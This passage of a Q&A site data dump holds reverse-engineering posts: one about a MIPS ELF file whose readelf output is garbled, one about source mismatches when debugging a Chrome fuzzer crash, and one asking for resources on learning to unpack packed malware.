mipsel-unknown-linux-gnu-as as assembler and mipsel-unknown-linux-gnu-ld as a linker) i can run it and debug it so i'm sure the problem comes from myelf file. Actually i can disassemble myelf with IDA but i want to follow the execution using gdb under linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i did a readelf and this is the output of mipsel-unknown-linux--u-readelf -a myelf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           MIPS R3000&#xA;  Version:                           0x1&#xA;  Entry point address:               0x400670&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          4132 (bytes into file)&#xA;  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         30&#xA;  Section header string table index: 29&#xA;readelf: Error: Unable to read in 0x69737265 bytes of string table&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0] &amp;lt;no-name&amp;gt;         LOUSER+6f0fbdbf bdbfefbd bdbfef3b f286821 bfef4abd WAXxMSLOTxxxxxxxxop 1992146927 4022190063 3220159935&#xA;readelf: Warning: section 0: sh_link value of 1992146927 is larger than the number of sections&#xA;  [ 1] &amp;lt;no-name&amp;gt;         09bdbfef: &amp;lt;unkn bfefbdbf bfef58bd ef3d6ebd ef5d6e20 WAXxSILOGTxxxxxxxop 3220159935 3220134333 1483756221&#xA;readelf: Warning: section 1: sh_link value of 3220159935 is larger than the number of sections&#xA;  [ 2] &amp;lt;no-name&amp;gt;         LOUSER+3dbfefbd bfef1257 ef1e67bd bfefbdbf efbdbfef WAXIOGTxxxxxxxxop 3183472573 1589493743 3183472479&#xA;readelf: Warning: section 2: sh_link value of 3183472573 is larger than the number of sections&#xA;  [ 3] &amp;lt;no-name&amp;gt;         LOUSER+3fefbdbf bfef35bd bfef51bd bfef07bd bdbfef38 WXxMSLOGxxxxxxop 4017489853 1393212863 498974703&#xA;readelf: Warning: section 3: sh_link value of 4017489853 is larger than the number of sections&#xA;  [ 4] &amp;lt;no-name&amp;gt;         LOUSER+3dbfef7c 25bdbfef 44bdbfef efbdbfef efbdbfef WAXOGTxxxxxxxxop 4013997503 4014390719 1532607935&#xA;readelf: Warning: section 4: sh_link value of 4013997503 is larger than the number of sections&#xA;  [ 5] &amp;lt;no-name&amp;gt;         LOUSER+6f17bdbf bfef1fbd ef3d6dbd 2b4ebdbf ef3a332c WAXxMSLOTxxxxxxxxop 700301295 3183472475 3183472441&#xA;readelf: Warning: section 5: sh_link value of 700301295 is larger than the number of sections&#xA;  [ 6] &amp;lt;no-name&amp;gt;         LOUSER+6f15bdbf ef0f15bd bfefbdbf bdbfefbd bfef4e90 WAXxMSLOTxxxxxxxxop 3220132880 3220113853 3661197501&#xA;readelf: Warning: section 6: sh_link value of 3220132880 is larger than the number of sections&#xA;  [ 7] &amp;lt;no-name&amp;gt;         LOUSER+6f1c2e62 64bdbfef 4a3d369 ef603c51 ef40bdbf WAXxMSLOTxxxxxxop 1366867391 700301295 4011659522&#xA;readelf: Warning: section 7: sh_link value of 1366867391 is larger than the number of sections&#xA;  [ 8] &amp;lt;no-name&amp;gt;         4c2cbdbf: &amp;lt;unkn bdbfefbd bfef3c4f ef476cbd ef1d10bd AXMSIOGTxxxxxxop 386514367 3183472428 3220142970&#xA;readelf: Warning: section 8: sh_link value of 386514367 is larger than the number of sections&#xA;  [ 9] &amp;lt;no-name&amp;gt;         LOUSER+24c2bdbf 42781f57 efb4a5e5 bfefbdbf 716bdbf WAXxSILOGTxxxxxxxop 3183472573 4012516894 4016422335&#xA;readelf: Warning: section 9: sh_link value of 3183472573 is larger than the number of sections&#xA;  [10] &amp;lt;no-name&amp;gt;         LOUSER+3fefbdbf 476e0abd 18bdbfef bdbfef32 4bdbfef WXxMSLGxxxxxxop 3183472447 4022190063 525516223&#xA;readelf: Warning: section 10: sh_link value of 3183472447 is larger than the number of sections&#xA;  [11] &amp;lt;no-name&amp;gt;         LOUSER+3dbfef0f bdbfef35 ef5a2137 5415bdbf efbdbfef AMIOGTxxxxxxxxop 3220117023 3183472573 3183472496&#xA;readelf: Warning: section 11: sh_link value of 3220117023 is larger than the number of sections&#xA;  [12] &amp;lt;no-name&amp;gt;         LOUSER+3dbfefbd 80dc78ae efbdbfef bfefbdbf bdbfefbd AXxTxxxop 3220115133 4015879101 3220159935&#xA;readelf: Warning: section 12: sh_link value of 3220115133 is larger than the number of sections&#xA;  [13] &amp;lt;no-name&amp;gt;         LOUSER+3dbfef4a cf6622bd bdbfef89 77bdbfef ef714abd WASIOTxxxxxop 3220122624 3220140989 3220129981&#xA;readelf: Warning: section 13: sh_link value of 3220122624 is larger than the number of sections&#xA;  [14] &amp;lt;no-name&amp;gt;         LOUSER+6f202b35 5b1a78bd efbdbfef bfefbdbf ef37bdbf WAXxMSLOTxxxxxxxxop 3183472573 3183472489 4022190063&#xA;readelf: Warning: section 14: sh_link value of 3183472573 is larger than the number of sections&#xA;  [15] &amp;lt;no-name&amp;gt;         2a0e3fbd: &amp;lt;unkn efbdbfef ef3abdbf ef15bdbf bfefbdbf WxOGTxxxxxxxxop 4013014463 4012883391 4014063039&#xA;readelf: Warning: section 15: sh_link value of 4013014463 is larger than the number of sections&#xA;  [16] &amp;lt;no-name&amp;gt;         LOUSER+6fbdbfef bfefbdbf bdbfefbd 3fbdbfef ef0961bd WAXxMSLOTxxxxxxop 1899399115 3183472494 3220112411&#xA;readelf: Warning: section 16: sh_link value of 1899399115 is larger than the number of sections&#xA;  [17] &amp;lt;no-name&amp;gt;         185a7404: &amp;lt;unkn 0038bdbf 4abdbfef bdbfef09 9631ebd WAXxMSOGxxxxop 985513967 4010489125 3220159935&#xA;readelf: Warning: section 17: sh_link value of 985513967 is larger than the number of sections&#xA;  [18] &amp;lt;no-name&amp;gt;         LOUSER+6fa4db38 00bdbfef 000000 000000 bfef0000 WAXxMSLOTxxxxxop  0   0  0&#xA;  [19] &amp;lt;no-name&amp;gt;         410c3000: &amp;lt;unkn 00000000 000000 bdbfef00 7000400b     4009771013 1074249151 3183472384&#xA;readelf: Warning: section 19: sh_link value of 4009771013 is larger than the number of sections&#xA;  [20] &amp;lt;no-name&amp;gt;         0000400b: &amp;lt;unkn ef00400b 4009bdbf 400b4000 00   p 1074475008 1074470912 1074466816&#xA;readelf: Warning: section 20: sh_link value of 1074475008 is larger than the number of sections&#xA;  [21] &amp;lt;no-name&amp;gt;         LOUSER+3dbfef00 0000400b ef000000 4007bdbf bdbfefbd Wxx 117440512 4022190063 3220159935&#xA;readelf: Warning: section 21: sh_link value of 117440512 is larger than the number of sections&#xA;  [22] &amp;lt;no-name&amp;gt;         NULL            1d000000 1f000000 ef000000 bfefbdbf   p 1074314687   0 4022190063&#xA;readelf: Warning: section 22: sh_link value of 1074314687 is larger than the number of sections&#xA;  [23] &amp;lt;no-name&amp;gt;         00bdbfef: &amp;lt;unkn 20000000 1d000000 1f000000 00     4009754624 1074380223  0&#xA;readelf: Warning: section 23: sh_link value of 4009754624 is larger than the number of sections&#xA;  [24] &amp;lt;no-name&amp;gt;         NULL            00001d00 001f00 bdbfef00 efbdbfef     16393 3220127488 3183472573&#xA;readelf: Warning: section 24: sh_link value of 16393 is larger than the number of sections&#xA;  [25] &amp;lt;no-name&amp;gt;         000000bd: &amp;lt;unkn 00003800 001d00 001f00 2e34206e     1128482560 1143480378 1634296421&#xA;readelf: Warning: section 25: sh_link value of 1128482560 is larger than the number of sections&#xA;  [26] &amp;lt;no-name&amp;gt;         34202938: &amp;lt;unkn 000f4100 6e670000 7010075 626174 AXxSTxxxxxop 67108864 1932394497 1920234344&#xA;readelf: Warning: section 26: sh_link value of 67108864 is larger than the number of sections&#xA;  [27] &amp;lt;no-name&amp;gt;         00707265: &amp;lt;unkn 42412e65 61742d49 722e0067 756e672e AXxSGTxxxxxxxop 1852401509 771780454 1702129518&#xA;readelf: Warning: section 27: sh_link value of 1852401509 is larger than the number of sections&#xA;  [28] &amp;lt;no-name&amp;gt;         LOOS+92d646c    6d616e79 2e006369 68736168 7274736e XSIxxxop 2036608512 1836675950 2036608512&#xA;readelf: Warning: section 28: sh_link value of 2036608512 is larger than the number of sections&#xA;  [29] &amp;lt;no-name&amp;gt;         LOOS+5762e75    672e006e 762e756e 69737265 74786574 AMSIOGxxxxxop 1918856815 1852386816 771781737&#xA;readelf: Warning: section 29: sh_link value of 1918856815 is larger than the number of sections&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&#xA;There are no section groups in this file.&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4&#xA;  INTERP         0x000154 0x00400154 0x00400154 0x0000a 0x0000a R   0x1&#xA;      [Requesting program interpreter: ]&#xA;  REGINFO        0x1bdbfef 0xbfef0000 0x004001bd 0x1bdbfef 0x180040     0x40000&#xA;  &amp;lt;unknown&amp;gt;: 400 0x010000 0x00000000 0x00000000 0x00040 0xc300040     0x50000&#xA;  NULL           0x010001 0x0c300000 0x0c300000 0xc300041 0x2400041     0x60000&#xA;  NULL           0x020001 0xbfef0000 0x000001bd 0x1bdbfef 0xbfef0040 R E 0xbdbfef&#xA;  &amp;lt;unknown&amp;gt;: bfe 0x0000bd 0x00000007 0x00000004 0x00004 0x00164 R   0x400164&#xA;  &amp;lt;unknown&amp;gt;: 20  0x000020 0x00000004 0x00000004 0x00004 0x1bdbfef     0x4001bd&#xA;  &amp;lt;unknown&amp;gt;: 1bd 0x240040 0x00240000 0x00040000 0x40000 0x00000     0&#xA;&#xA;There is no dynamic section in this file.&#xA;&#xA;There are no relocations in this file.&#xA;&#xA;The decoding of unwind sections for machine type MIPS R3000 is not currently supported.&#xA;&#xA;No version information found in this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it's a project from a school dealing with reverse engineering, the elf file may be corrupted or not. I have no idea from what the problem could come from. You can download myelf file from this &lt;a href=&quot;https://bitbucket.org/Nomyo/reverse-engineering/downloads&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have encountered this kind of error or any suggestions ? &lt;/p&gt;&#xA;" OwnerUserId="12182" LastEditorUserId="12182" LastEditDate="2015-04-07T04:51:41.867" LastActivityDate="2015-04-07T07:05:42.207" Title="How to disassemble/run mips ELF file ? (with readelf error)" Tags="|disassembly|linux|elf|mips|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8649" PostTypeId="2" ParentId="8647" CreationDate="2015-04-07T07:05:42.207" Score="3" Body="&lt;p&gt;This file is completely valid ELF, but you have a problem with the toolchain.&#xA;You should check correctness of its setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition if you don't have the hardware you can use &lt;a href=&quot;http://wiki.qemu.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;qemu&lt;/a&gt; to run it.&#xA;There is also &lt;a href=&quot;http://landley.net/aboriginal/&quot; rel=&quot;nofollow&quot;&gt;aboriginal&lt;/a&gt; toolchain that you can try to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output of the readelf should be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mips-unknown-nto-qnx6.5.0-readelf -a ~/Downloads/myelf &#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           MIPS R3000&#xA;  Version:                           0x1&#xA;  Entry point address:               0x400670&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          4132 (bytes into file)&#xA;  Flags:                             0x1007, noreorder, pic, cpic, o32, mips1&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         30&#xA;  Section header string table index: 29&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] .interp           PROGBITS        00400154 000154 00000d 00   A  0   0  1&#xA;  [ 2] .note.ABI-tag     NOTE            00400164 000164 000020 00   A  0   0  4&#xA;  [ 3] .reginfo          MIPS_REGINFO    00400184 000184 000018 18   A  0   0  4&#xA;  [ 4] .note.gnu.build-i NOTE            0040019c 00019c 000024 00   A  0   0  4&#xA;  [ 5] .dynamic          DYNAMIC         004001c0 0001c0 0000d8 08   A  8   0  4&#xA;  [ 6] .hash             HASH            00400298 000298 0000a4 04   A  7   0  4&#xA;  [ 7] .dynsym           DYNSYM          0040033c 00033c 000160 10   A  8   1  4&#xA;  [ 8] .dynstr           STRTAB          0040049c 00049c 0000df 00   A  0   0  1&#xA;  [ 9] .gnu.version      VERSYM          0040057c 00057c 00002c 02   A  7   0  2&#xA;  [10] .gnu.version_r    VERNEED         004005a8 0005a8 000030 00   A  8   1  4&#xA;  [11] .init             PROGBITS        004005d8 0005d8 000090 00  AX  0   0  4&#xA;  [12] .text             PROGBITS        00400670 000670 000490 00  AX  0   0 16&#xA;  [13] .MIPS.stubs       PROGBITS        00400b00 000b00 0000a0 00  AX  0   0  4&#xA;  [14] .fini             PROGBITS        00400ba0 000ba0 00004c 00  AX  0   0  4&#xA;  [15] .rodata           PROGBITS        00400bec 000bec 000040 00   A  0   0  4&#xA;  [16] .eh_frame         PROGBITS        00400c2c 000c2c 000004 00   A  0   0  4&#xA;  [17] .ctors            PROGBITS        00410c30 000c30 00000c 00  WA  0   0  4&#xA;  [18] .dtors            PROGBITS        00410c3c 000c3c 000008 00  WA  0   0  4&#xA;  [19] .jcr              PROGBITS        00410c44 000c44 000004 00  WA  0   0  4&#xA;  [20] .data             PROGBITS        00410c50 000c50 0001b0 00  WA  0   0 16&#xA;  [21] .rld_map          PROGBITS        00410e00 000e00 000004 00  WA  0   0  4&#xA;  [22] .got              PROGBITS        00410e10 000e10 00005c 04 WAp  0   0 16&#xA;  [23] .sdata            PROGBITS        00410e6c 000e6c 000004 00 WAp  0   0  4&#xA;  [24] .bss              NOBITS          00410e70 000e70 000010 00  WA  0   0 16&#xA;  [25] .pdr              PROGBITS        00000000 000e70 000080 00      0   0  4&#xA;  [26] .comment          PROGBITS        00000000 000ef0 00001c 01  MS  0   0  1&#xA;  [27] .gnu.attributes   LOOS+ffffff5    00000000 000f0c 000010 00      0   0  1&#xA;  [28] .mdebug.abi32     PROGBITS        00000070 000f1c 000000 00      0   0  1&#xA;  [29] .shstrtab         STRTAB          00000000 000f1c 000107 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;  I (info), L (link order), G (group), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&#xA;There are no section groups in this file.&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00400034 0x00400034 0x00120 0x00120 R E 0x4&#xA;  INTERP         0x000154 0x00400154 0x00400154 0x0000d 0x0000d R   0x1&#xA;      [Requesting program interpreter: /lib/ld.so.1]&#xA;  REGINFO        0x000184 0x00400184 0x00400184 0x00018 0x00018 R   0x4&#xA;  LOAD           0x000000 0x00400000 0x00400000 0x00c30 0x00c30 R E 0x10000&#xA;  LOAD           0x000c30 0x00410c30 0x00410c30 0x00240 0x00250 RW  0x10000&#xA;  DYNAMIC        0x0001c0 0x004001c0 0x004001c0 0x000d8 0x000d8 RWE 0x4&#xA;  NOTE           0x000164 0x00400164 0x00400164 0x00020 0x00020 R   0x4&#xA;  NOTE           0x00019c 0x0040019c 0x0040019c 0x00024 0x00024 R   0x4&#xA;  NULL           0x000000 0x00000000 0x00000000 0x00000 0x00000     0x4&#xA;&#xA; Section to Segment mapping:&#xA;  Segment Sections...&#xA;   00     &#xA;   01     .interp &#xA;   02     .reginfo &#xA;   03     .interp .note.ABI-tag .reginfo .note.gnu.build-id .dynamic .hash .dynsym .dynstr .gnu.version .gnu.version_r .init .text .MIPS.stubs .fini .rodata .eh_frame &#xA;   04     .ctors .dtors .jcr .data .rld_map .got .sdata .bss &#xA;   05     .dynamic &#xA;   06     .note.ABI-tag &#xA;   07     .note.gnu.build-id &#xA;   08     &#xA;&#xA;Dynamic section at offset 0x1c0 contains 22 entries:&#xA;  Tag        Type                         Name/Value&#xA; 0x00000001 (NEEDED)                     Shared library: [libc.so.6]&#xA; 0x0000000c (INIT)                       0x4005d8&#xA; 0x0000000d (FINI)                       0x400ba0&#xA; 0x00000004 (HASH)                       0x400298&#xA; 0x00000005 (STRTAB)                     0x40049c&#xA; 0x00000006 (SYMTAB)                     0x40033c&#xA; 0x0000000a (STRSZ)                      223 (bytes)&#xA; 0x0000000b (SYMENT)                     16 (bytes)&#xA; 0x70000016 (MIPS_RLD_MAP)               0x410e00&#xA; 0x00000015 (DEBUG)                      0x0&#xA; 0x00000003 (PLTGOT)                     0x410e10&#xA; 0x70000001 (MIPS_RLD_VERSION)           1&#xA; 0x70000005 (MIPS_FLAGS)                 NOTPOT&#xA; 0x70000006 (MIPS_BASE_ADDRESS)          0x400000&#xA; 0x7000000a (MIPS_LOCAL_GOTNO)           7&#xA; 0x70000011 (MIPS_SYMTABNO)              22&#xA; 0x70000012 (MIPS_UNREFEXTNO)            29&#xA; 0x70000013 (MIPS_GOTSYM)                0x6&#xA; 0x6ffffffe (VERNEED)                    0x4005a8&#xA; 0x6fffffff (VERNEEDNUM)                 1&#xA; 0x6ffffff0 (VERSYM)                     0x40057c&#xA; 0x00000000 (NULL)                       0x0&#xA;&#xA;There are no relocations in this file.&#xA;&#xA;There are no unwind sections in this file.&#xA;&#xA;Symbol table '.dynsym' contains 22 entries:&#xA;   Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 00000001     0 SECTION GLOBAL DEFAULT  ABS _DYNAMIC_LINKING&#xA;     2: 00400bec     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used&#xA;     3: 00000000     0 OBJECT  WEAK   DEFAULT  UND environ@GLIBC_2.0 (2)&#xA;     4: 00000000     0 OBJECT  WEAK   DEFAULT  UND _environ@GLIBC_2.0 (2)&#xA;     5: 00410e00     0 OBJECT  GLOBAL DEFAULT   21 __RLD_MAP&#xA;     6: 004005d8     0 FUNC    GLOBAL DEFAULT   11 _init&#xA;     7: 004007b0   320 FUNC    GLOBAL DEFAULT   12 main&#xA;     8: 00400b80     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 (2)&#xA;     9: 00400b70     0 FUNC    GLOBAL DEFAULT  UND cbc_crypt@GLIBC_2.2 (3)&#xA;    10: 00400b60     0 FUNC    GLOBAL DEFAULT  UND munmap@GLIBC_2.0 (2)&#xA;    11: 00000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.0 (2)&#xA;    12: 00400b50     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)&#xA;    13: 004009e8   176 FUNC    GLOBAL DEFAULT   12 __libc_csu_init&#xA;    14: 00400b40     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.0 (2)&#xA;    15: 00400b30     0 FUNC    GLOBAL DEFAULT  UND mprotect@GLIBC_2.0 (2)&#xA;    16: 00400b20     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)&#xA;    17: 00400b10     0 FUNC    GLOBAL DEFAULT  UND ptrace@GLIBC_2.0 (2)&#xA;    18: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses&#xA;    19: 00000000     0 FUNC    WEAK   DEFAULT  UND __gmon_start__&#xA;    20: 004009e0     8 FUNC    GLOBAL DEFAULT   12 __libc_csu_fini&#xA;    21: 00400b00     0 FUNC    GLOBAL DEFAULT  UND mmap@GLIBC_2.0 (2)&#xA;&#xA;Histogram for bucket list length (total of 17 buckets):&#xA; Length  Number     % of total  Coverage&#xA;      0  5          ( 29.4%)&#xA;      1  7          ( 41.2%)     33.3%&#xA;      2  3          ( 17.6%)     61.9%&#xA;      3  1          (  5.9%)     76.2%&#xA;      4  0          (  0.0%)     76.2%&#xA;      5  1          (  5.9%)    100.0%&#xA;&#xA;Version symbols section '.gnu.version' contains 22 entries:&#xA; Addr: 000000000040057c  Offset: 0x00057c  Link: 7 (.dynsym)&#xA;  000:   0 (*local*)       1 (*global*)      1 (*global*)      2 (GLIBC_2.0)  &#xA;  004:   2 (GLIBC_2.0)     1 (*global*)      1 (*global*)      1 (*global*)   &#xA;  008:   2 (GLIBC_2.0)     3 (GLIBC_2.2)     2 (GLIBC_2.0)     2 (GLIBC_2.0)  &#xA;  00c:   2 (GLIBC_2.0)     1 (*global*)      2 (GLIBC_2.0)     2 (GLIBC_2.0)  &#xA;  010:   2 (GLIBC_2.0)     2 (GLIBC_2.0)     0 (*local*)       0 (*local*)    &#xA;  014:   1 (*global*)      2 (GLIBC_2.0)  &#xA;&#xA;Version needs section '.gnu.version_r' contains 1 entries:&#xA; Addr: 0x00000000004005a8  Offset: 0x0005a8  Link: 8 (.dynstr)&#xA;  000000: Version: 1  File: libc.so.6  Cnt: 2&#xA;  0x0010:   Name: GLIBC_2.2  Flags: none  Version: 3&#xA;  0x0020:   Name: GLIBC_2.0  Flags: none  Version: 2&#xA;&#xA;Notes at offset 0x00000164 with length 0x00000020:&#xA;  Owner     Data size   Description&#xA;  GNU       0x00000010  NT_GNU_ABI_TAG (ABI version tag)&#xA;&#xA;Notes at offset 0x0000019c with length 0x00000024:&#xA;  Owner     Data size   Description&#xA;  GNU       0x00000014  NT_GNU_BUILD_ID (unique build ID bitstring)&#xA;Attribute Section: gnu&#xA;File Attributes&#xA;  Tag_GNU_MIPS_ABI_FP: Hard float (-mdouble-float)&#xA;&#xA;Primary GOT:&#xA; Canonical gp value: 00418e00&#xA;&#xA; Reserved entries:&#xA;   Address     Access  Initial Purpose&#xA;  00410e10 -32752(gp) 00000000 Lazy resolver&#xA;  00410e14 -32748(gp) 80000000 Module pointer (GNU extension)&#xA;&#xA; Local entries:&#xA;   Address     Access  Initial&#xA;  00410e18 -32744(gp) 00400000&#xA;  00410e1c -32740(gp) 00410c30&#xA;  00410e20 -32736(gp) 00000000&#xA;  00410e24 -32732(gp) 00000000&#xA;  00410e28 -32728(gp) 00000000&#xA;&#xA; Global entries:&#xA;   Address     Access  Initial Sym.Val. Type    Ndx Name&#xA;  00410e2c -32724(gp) 004005d8 004005d8 FUNC     11 _init&#xA;  00410e30 -32720(gp) 004007b0 004007b0 FUNC     12 main&#xA;  00410e34 -32716(gp) 00400b80 00400b80 FUNC    UND exit&#xA;  00410e38 -32712(gp) 00400b70 00400b70 FUNC    UND cbc_crypt&#xA;  00410e3c -32708(gp) 00400b60 00400b60 FUNC    UND munmap&#xA;  00410e40 -32704(gp) 00000000 00000000 OBJECT  UND __environ&#xA;  00410e44 -32700(gp) 00400b50 00400b50 FUNC    UND puts&#xA;  00410e48 -32696(gp) 004009e8 004009e8 FUNC     12 __libc_csu_init&#xA;  00410e4c -32692(gp) 00400b40 00400b40 FUNC    UND memcpy&#xA;  00410e50 -32688(gp) 00400b30 00400b30 FUNC    UND mprotect&#xA;  00410e54 -32684(gp) 00400b20 00400b20 FUNC    UND __libc_start_main&#xA;  00410e58 -32680(gp) 00400b10 00400b10 FUNC    UND ptrace&#xA;  00410e5c -32676(gp) 00000000 00000000 NOTYPE  UND _Jv_RegisterClasses&#xA;  00410e60 -32672(gp) 00000000 00000000 FUNC    UND __gmon_start__&#xA;  00410e64 -32668(gp) 004009e0 004009e0 FUNC     12 __libc_csu_fini&#xA;  00410e68 -32664(gp) 00400b00 00400b00 FUNC    UND mmap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-04-07T07:05:42.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8651" PostTypeId="1" AcceptedAnswerId="8652" CreationDate="2015-04-07T15:22:42.993" Score="1" ViewCount="137" Body="&lt;p&gt;My fuzzer recently crashed chrome and dumped what appears to be an exploitable vulnerability. I'm having an issue debugging it, as the referenced source appears incompatible with the version of chrome im running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chrome v. 41.0.2272.89 m&#xA;The callstack is referencing allocator_shim.cc&#xA;     &lt;code&gt;c:\b\build\slave\win\build\src\base\allocator\allocator_shim.cc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that for the most recent source I've pulled, there's only&#xA;    &lt;code&gt;allocator_shim_win.cc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browsing Chromium source online also only has the newer&#xA;    &lt;code&gt;allocator_shim_win.cc&lt;/code&gt;&lt;br&gt;&#xA;instead of&#xA;    &lt;code&gt;allocator_shim.cc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is my version of Chrome referencing/using old source (symbols/metadata) when it's supposed to be up to date?&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-04-07T16:07:41.120" Title="Chrome Vulnerability Issue" Tags="|windows|debuggers|c++|exploit|debugging-symbols|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8652" PostTypeId="2" ParentId="8651" CreationDate="2015-04-07T15:59:22.907" Score="2" Body="&lt;p&gt;Chrome != Chromium. &lt;a href=&quot;http://en.wikipedia.org/wiki/Chromium_%28web_browser%29#Differences_from_Google_Chrome&quot; rel=&quot;nofollow&quot;&gt;Google makes several changes to the Chromium code base before building Chrome.&lt;/a&gt; This may be one of the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nonetheless, the snapshot for the 41.0.2272.89 version of Chromium can be found here: &lt;a href=&quot;https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89&quot; rel=&quot;nofollow&quot;&gt;https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in &lt;a href=&quot;https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/&quot; rel=&quot;nofollow&quot;&gt;https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/&lt;/a&gt; that there's no &lt;code&gt;allocator_shim.cc&lt;/code&gt; file, which may suggest that the callstack artifact is from a change made by Google for Chrome. Alternatively, it could suggest that the standard build process &quot;renames&quot; &lt;code&gt;allocator_shim_win.cc&lt;/code&gt; to &lt;code&gt;allocator_shim.cc&lt;/code&gt; at build-time, in which case this might not be because of changes made by Google.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-04-07T16:07:41.120" LastActivityDate="2015-04-07T16:07:41.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8654" PostTypeId="1" AcceptedAnswerId="8694" CreationDate="2015-04-07T20:12:17.570" Score="1" ViewCount="1253" Body="&lt;p&gt;I want to find a way to improve my unpacking skills, i am not a noob but i miss steps from simple to hard packers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw lot of video tutorials, the most of the time i see &quot;click F9 x times to reach the OEP&quot; or &quot;ESP trick&quot; without go deeper as i want. &#xA;I find the learning process slow in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am searching for paper or books to go deeper in this art, my goal is to be able to face malware analisis in the best way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advice, thanks&lt;/p&gt;&#xA;" OwnerUserId="3214" LastEditorUserId="3214" LastEditDate="2015-04-08T18:20:58.593" LastActivityDate="2015-04-13T13:37:42.520" Title="Best and smarter way to improve unpacking skills" Tags="|ida|ollydbg|malware|unpacking|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
